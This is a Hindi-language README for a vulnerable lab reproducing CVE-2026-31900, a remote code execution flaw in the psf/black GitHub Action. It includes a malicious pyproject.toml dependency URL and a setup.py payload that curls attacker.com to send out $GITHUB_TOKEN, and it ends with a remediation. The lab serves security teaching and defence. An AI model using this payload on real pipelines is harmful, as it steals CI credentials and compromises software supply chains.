
CVE-2026-31900 असुरक्षित लैब - psf/black GitHub Action RCE
| फ़ील्ड | विवरण |
|---|
| CVE | CVE-2026-31900 |
| CVSS | 8.7 (उच्च) |
| सलाह | GHSA-v53h-f6m7-xcgm |
| प्रभावित | psf/black GitHub Action < v26.3.0 |
| प्रकार | आपूर्ति श्रृंखला के माध्यम से RCE (pull_request ट्रिगर) |
use_pyproject: true विकल्प pyproject.toml से Black संस्करण पढ़ता है। संस्करण स्ट्रिंग को सत्यापित करने के लिए उपयोग किया जाने वाला रेगेक्स re.IGNORECASE के कारण अत्यधिक अनुमेय है, जो स्पेस, @, :, और / जैसे वर्णों की अनुमति देता है — ठीक वही जो PEP 508 URL आवश्यकता के लिए चाहिए।
BLACK_VERSION_RE = re.compile(r"^black(\[^A-Z0-9.\_-\]+.\*)$", re.IGNORECASE)
pyproject.toml संशोधित करें:[project]
dependencies = [
"black @ https://attacker.com/malicious_black.tar.gz"
]
pull_request वर्कफ़्लो ट्रिगर सक्रिय होता हैpyproject.toml से दुर्भावनापूर्ण संस्करण पढ़ता है, रेगेक्स सत्यापन को बायपास करता हैsetup.py मनमाना कोड निष्पादित करता हैsetup.py उदाहरणfrom setuptools import setup
import os
os.system("curl https://attacker.com/exfil?token=$GITHUB_TOKEN")
setup(name="black", version="26.1.0")
$GITHUB_TOKEN (CI रनर टोकन)psf/black v26.3.0 में अपग्रेड करें या use_pyproject: true का उपयोग करने के बजाय वर्कफ़्लो YAML में संस्करण को स्पष्ट रूप से पिन करें।
.github/workflows/black.yml ← असुरक्षित वर्कफ़्लो (use_pyproject: true)
pyproject.toml ← वैध कॉन्फ़िगरेशन (मुख्य शाखा)
app.py ← फ़ॉर्मेट किया जा रहा नमूना Python फ़ाइल